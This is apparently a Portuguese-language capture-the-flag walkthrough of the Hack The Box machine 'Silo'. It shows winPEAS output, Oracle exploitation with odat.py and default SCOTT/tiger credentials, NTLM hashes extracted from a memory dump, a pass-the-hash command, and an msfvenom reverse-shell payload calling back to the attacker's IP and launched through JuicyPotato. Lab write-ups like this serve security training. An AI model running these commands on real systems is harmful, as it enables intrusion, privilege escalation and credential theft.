   [?]  https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#dpapi
    Not Found

  [+] Checking for Credential Files()
   [?]  https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#dpapi
    Not Found

  [+] Checking for RDCMan Settings Files()
   [?] Dump credentials from Remote Desktop Connection Manager https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#remote-desktop-credential-manager
    Not Found

  [+] Looking for kerberos tickets()
   [?]  https://book.hacktricks.xyz/pentesting/pentesting-kerberos-88
    Not Found

  [+] Looking saved Wifis()
    This function is not yet implemented.
    [i] If you want to list saved Wifis connections you can list the using 'netsh wlan show profile'
    [i] If you want to get the clear-text password use 'netsh wlan show profile <SSID> key=clear'

  [+] Looking AppCmd.exe()
   [?]  https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#appcmd-exe
    AppCmd.exe was found in C:\Windows\system32\inetsrv\appcmd.exe You should try to search for credentials

  [+] Looking SSClient.exe()
   [?]  https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#scclient-sccm
    Not Found

  [+] Checking AlwaysInstallElevated(T1012)
   [?]  https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#alwaysinstallelevated
    AlwaysInstallElevated isn't available

  [+] Checking WSUS(T1012)
   [?]  https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#wsus
    Not Found


  ========================================(Browsers Information)========================================

  [+] Looking for Firefox DBs(T1503)
   [?]  https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#browsers-history
    Not Found

  [+] Looking for GET credentials in Firefox history(T1503)
   [?]  https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#browsers-history
    Not Found

  [+] Looking for Chrome DBs(T1503)
   [?]  https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#browsers-history
    Not Found

  [+] Looking for GET credentials in Chrome history(T1503)
   [?]  https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#browsers-history
    Not Found

  [+] Chrome bookmarks(T1217)
    Not Found

  [+] Current IE tabs(T1503)
   [?]  https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#browsers-history
  [X] Exception: System.Reflection.TargetInvocationException: Exception has been thrown by the target of an invocation. ---> System.Runtime.InteropServices.COMException: The server process could not be started because the configured identity is incorrect. Check the username and password. (Exception from HRESULT: 0x8000401A)
   --- End of inner exception stack trace ---
   at System.RuntimeType.InvokeDispMethod(String name, BindingFlags invokeAttr, Object target, Object[] args, Boolean[] byrefModifiers, Int32 culture, String[] namedParameters)
   at System.RuntimeType.InvokeMember(String name, BindingFlags bindingFlags, Binder binder, Object target, Object[] providedArgs, ParameterModifier[] modifiers, CultureInfo culture, String[] namedParams)
   at d0.s()
    Not Found

  [+] Looking for GET credentials in IE history(T1503)
   [?]  https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#browsers-history
  [X] Exception: System.IO.DirectoryNotFoundException: Could not find a part of the path 'C:\Windows\system32\config\systemprofile\Favorites'.
   at System.IO.__Error.WinIOError(Int32 errorCode, String maybeFullPath)
   at System.IO.FileSystemEnumerableIterator`1.CommonInit()
   at System.IO.Directory.GetFiles(String path, String searchPattern, SearchOption searchOption)
   at d0.t()

  [+] IE favorites(T1217)
    Not Found


  ==============================(Interesting files and registry)==============================

  [+] Putty Sessions()
    Not Found

  [+] Putty SSH Host keys()
    Not Found

  [+] SSH keys in registry()
   [?] If you find anything here, follow the link to learn how to decrypt the SSH keys https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#ssh-keys-in-registry
    Not Found

  [+] Cloud Credentials(T1538&T1083&T1081)
   [?]  https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#credentials-inside-files
    Not Found

  [+] Unnattend Files()
    C:\Windows\Panther\Unattend.xml
<Password>*SENSITIVE*DATA*DELETED*</Password>     <Enabled>true</Enabled>      <Username>Administrator</Username>     </AutoLogon>    <UserAccounts>     <LocalAccounts>      <LocalAccount wcm:action="add">       <Password>*SENSITIVE*DATA*DELETED*</Password>

  [+] Looking for common SAM & SYSTEM backups()

  [+] Looking for McAfee Sitelist.xml Files()

  [+] Cached GPP Passwords()
  [X] Exception: Could not find a part of the path 'C:\ProgramData\Microsoft\Group Policy\History'.

  [+] Looking for possible regs with creds(T1012&T1214)
   [?]  https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#inside-the-registry
    Not Found
    Not Found
    Not Found
    Not Found

  [+] Looking for possible password files in users homes(T1083&T1081)
   [?]  https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#credentials-inside-files

  [+] Looking inside the Recycle Bin for creds files(T1083&T1081&T1145)
   [?]  https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#credentials-inside-files
    Not Found

  [+] Searching known files that can contain creds in home(T1083&T1081)
   [?]  https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#credentials-inside-files

  [+] Looking for documents --limit 100--(T1083)
    Not Found

  [+] Recent files --limit 70--(T1083&T1081)
  [X] Exception: System.IO.DirectoryNotFoundException: Could not find a part of the path 'C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Recent'.
   at System.IO.__Error.WinIOError(Int32 errorCode, String maybeFullPath)
   at System.IO.FileSystemEnumerableIterator`1.CommonInit()
   at System.IO.Directory.GetFiles(String path, String searchPattern, SearchOption searchOption)
   at d0.l()
    Not Found

Encontrei algo interessante nesse resultado do winpeas e vou tentar exporar usando ele

Check if you can overwrite some service binary or perform a DLL hijacking, also check for unquoted paths

 OracleJobSchedulerXE(OracleJobSchedulerXE)[c:\oraclexe\app\oracle\product\11.2.0\server\Bin\extjob.exe XE] - Disabled - Stopped - No quotes and Space detected         
    Possible DLL Hijacking in binary folder: c:\oraclexe\app\oracle\product\11.2.0\server\Bin (Users [AppendData/CreateDirectories WriteData/CreateFiles])                 
   =================================================================================================                                                                       
                                                                                                                                                                           
    OracleMTSRecoveryService(Oracle Corporation - OracleMTSRecoveryService)[C:\oraclexe\app\oracle\product\11.2.0\server\BIN\omtsreco.exe "OracleMTSRecoveryService"] - Man
ual - Stopped                                                                                                                                                              
    Possible DLL Hijacking in binary folder: C:\oraclexe\app\oracle\product\11.2.0\server\BIN (Users [AppendData/CreateDirectories WriteData/CreateFiles])                 
   =================================================================================================                                                                       
                                                                                                                                                                           
    OracleServiceXE(Oracle Corporation - OracleServiceXE)[c:\oraclexe\app\oracle\product\11.2.0\server\bin\ORACLE.EXE XE] - Auto - Running - No quotes and Space detected  
    Possible DLL Hijacking in binary folder: c:\oraclexe\app\oracle\product\11.2.0\server\bin (Users [AppendData/CreateDirectories WriteData/CreateFiles])                 
   =================================================================================================                                                                       
                                                                                                                                                                           
    OracleXEClrAgent(Oracle Corporation - OracleXEClrAgent)[C:\oraclexe\app\oracle\product\11.2.0\server\bin\OraClrAgnt.exe agent_sid=CLRExtProc max_dispatchers=2 tcp_disp
atchers=0 max_task_threads=6 max_sessions=25 ENVS="EXTPROC_DLLS=ONLY:C:\oraclexe\app\oracle\product\11.2.0\server\bin\oraclr11.dll"] - Auto - Running                      
    Possible DLL Hijacking in binary folder: C:\oraclexe\app\oracle\product\11.2.0\server\bin (Users [AppendData/CreateDirectories WriteData/CreateFiles])                 
   =================================================================================================

    OracleXETNSListener(Oracle Corporation - OracleXETNSListener)[C:\oraclexe\app\oracle\product\11.2.0\server\BIN\tnslsnr.exe] - Auto - Running
    Possible DLL Hijacking in binary folder: C:\oraclexe\app\oracle\product\11.2.0\server\BIN (Users [AppendData/CreateDirectories WriteData/CreateFiles])



 (DLL Hijacking) C:\oraclexe\app\oracle\product\11.2.0\server\bin: Users [AppendData/CreateDirectories WriteData/CreateFiles]

Esse processo eh bastante manual

Primeiro transfiro para maquina alvo o accesschk.exe

PS C:\windows\temp> copy \\10.10.14.37\tools\accesschk.exe .

Dando continuidade, encontrei um erro e talvez eu precise de mais privilegios para continuar a exploracao de DLL hIJACKING

39.jpg

Voltei entao ao odat.py

Usando o modulo search em busca de password encontrei algo interessante

python3 odat.py search -s 10.10.10.82 -U SCOTT -P tiger -d XE --pwd-column-names --sysoper

40.jpg

owner   table_name   column_name       example      
===================================================
SYS     EXU8USRU     PASSWD        F894844C34402B67

e como --sysdba

encontrei mais algumas coisas

root@kali:/opt/odat# python3 odat.py search -s 10.10.10.82 -U SCOTT -P tiger -d XE --pwd-column-names --sysdba
odat.py:52: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
  import imp

[1] (10.10.10.82:1521): Columns which contains the pattern ~password~ like (multi language)
100% |####################################################################################################################################################| Time: 00:00:01 
100% |####################################################################################################################################################| Time: 00:00:17 
[+] '%pwd%' in column names:
owner    table_name    column_name        example      
======================================================
SYS     DEFAULT_PWD$   PWD_VERIFIER   9B52488370BB3D77 

'%pass%' in column names:
   owner         table_name               column_name                example      
=================================================================================
SYS           USER$               PASSWORD                       FBA343E7D6C8BC9D 
APEX_040000   WWV_FLOW_FND_USER   FIRST_PASSWORD_USE_OCCURRED    N                
APEX_040000   WWV_FLOW_FND_USER   CHANGE_PASSWORD_ON_FIRST_USE   Y                
SYS           EXU8USR             PASSWD                         FBA343E7D6C8BC9D 
SYS           DBA_USERS           PASSWORD_VERSIONS              10G 11G          
SYS           KU$_USER_VIEW       PASSWORD                       FBA343E7D6C8BC9D 
SYS           DBA_ROLES           PASSWORD_REQUIRED              NO               
SYS           EXU8USRU            PASSWD                         FBA343E7D6C8BC9D 

Analisando novamente os privilegios como sysdba e --sysoper

python3 odat.py privesc --test-module --sysdba -s 10.10.10.82 -U SCOTT -P tiger -d XE

python3 odat.py privesc --test-module --sysoper -s 10.10.10.82 -U SCOTT -P tiger -d XE

41.jpg

Como sysdba eu posso

[1.1] Gain elevated access (privilege escalation)?
[1.1.1] DBA role using CREATE/EXECUTE ANY PROCEDURE privileges?
[+] OK

[1.1.5] DBA role using CREATE ANY INDEX (and CREATE PROCEDURE) privileges?
[+] OK

Bom, voltei no DLL Hijacking pra isso estou fazendo o download em meu localhost para analisar com o procdump

42.jpg

comecei a fazer os procedimentos referente a tecnica de DLL Hijacking, mas eu tinha em mente que ainda precisava de uma senha para escalar pro usuario.

43.jpg

ISO-8859

resolvi voltar e analisar o Desktop do user e encontrei um link para o dropbox, mas inicialmente a senha que esta no file nao abriu,

44.jpg

PS C:\users\Phineas\Desktop> type "Oracle issue.txt"
Support vendor engaged to troubleshoot Windows / Oracle performance issue (full memory dump requested):

Dropbox link provided to vendor (and password under separate cover).

Dropbox link 
https://www.dropbox.com/sh/69skryzfszb7elq/AADZnQEbbqDoIf5L2d0PBxENa?dl=0

link password:
?%Hm8646uC$
PS C:\users\Phineas\Desktop>

Nem tudo eh o que a gente ver, observe agora

45.jpg

O arquivo foi salvo usando ISO-8859 entao quando usamos, type-strings-more-cat sempre mostra o ‘?’

quando usamos o vim automaticamente ele consegue interpretar como ISO-8859

46.jpg

Segue abaixo uma explicacao melhor sobre isso

reference https://en.wikipedia.org/wiki/ISO/IEC_8859

Continuando\

47.jpg

Depois de baixar o arquivo, perdi bastante tempo tentado fazer o volatility meu erro foi clonar o repo e executar direto, em vez de ter instalado no meu kali usando o apt instal volatility

48.jpg

perdir um pouco de tempo tentando resolver o problema, depois de fritar um pouco e instalar via apt consegui extrair as hashes

Depois de ter instalado executei aa mesma linha de comando que estava dando erros..

49.jpg

root@kali:/opt/volatility# python vol.py --profile=Win2012R2x64 -f /root/HTB-Windows/silo/down/SILO-20180105-221806.dmp hashdump
Volatility Foundation Volatility Framework 2.6.1
Administrator:500:aad3b435b51404eeaad3b435b51404ee:9e730375b7cbcebf74ae46481e07b0c7:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Phineas:1002:aad3b435b51404eeaad3b435b51404ee:8eacdd67b77749e65d3b3d5c110b0969:::


root@kali:~/HTB-Windows/silo# volatility --profile=Win2012R2x64 -f /root/HTB-Windows/silo/down/SILO-20180105-221806.dmp hashdump
Volatility Foundation Volatility Framework 2.6.1
Administrator:500:aad3b435b51404eeaad3b435b51404ee:9e730375b7cbcebf74ae46481e07b0c7:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Phineas:1002:aad3b435b51404eeaad3b435b51404ee:8eacdd67b77749e65d3b3d5c110b0969:::

GET SYSTEM

Passing the Hash

pth-winexe --system -U 'Administrator%aad3b435b51404eeaad3b435b51404ee:9e730375b7cbcebf74ae46481e07b0c7' //10.10.10.82 cmd.exe

50.jpg

JuicyPotato

OK, lembra do inicio? JuicyPotato?

PS C:\windows\system32\inetsrv>whoami
iis apppool\defaultapppool
PS C:\windows\system32\inetsrv> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled
PS C:\windows\system32\inetsrv> 

Vamos la….

51.jpg

Nao consegui executar com powershell… Entao, eu precisei pegar novamente uma reverse shell mais dessa vez como prompt

Gere seu payload:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.37 LPORT=53 -f exe -o reverse.exe

Transfira para o alvo

Depois ative o listen na portta escolhida

Escolha o CLSID de acordo com o sistema do alvo

https://github.com/ohpe/juicy-potato/tree/master/CLSID/Windows_Server_2012_Datacenter

em seguida execute

.\JuicyPotato.exe -l 1337 -p C:\windows\temp\reverse64.exe -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334}

52.jpg

Oracle TNS Listener -> externaltable (Maneira roubada/ninja)

python3 odat.py externaltable -s 10.10.10.82 -U SCOTT -P tiger -d XE --getFile "C:\Users\Administrator\Desktop" "root.txt" "/root/HTB-Windows/silo/flag/root.txt" --sysdba

53.jpg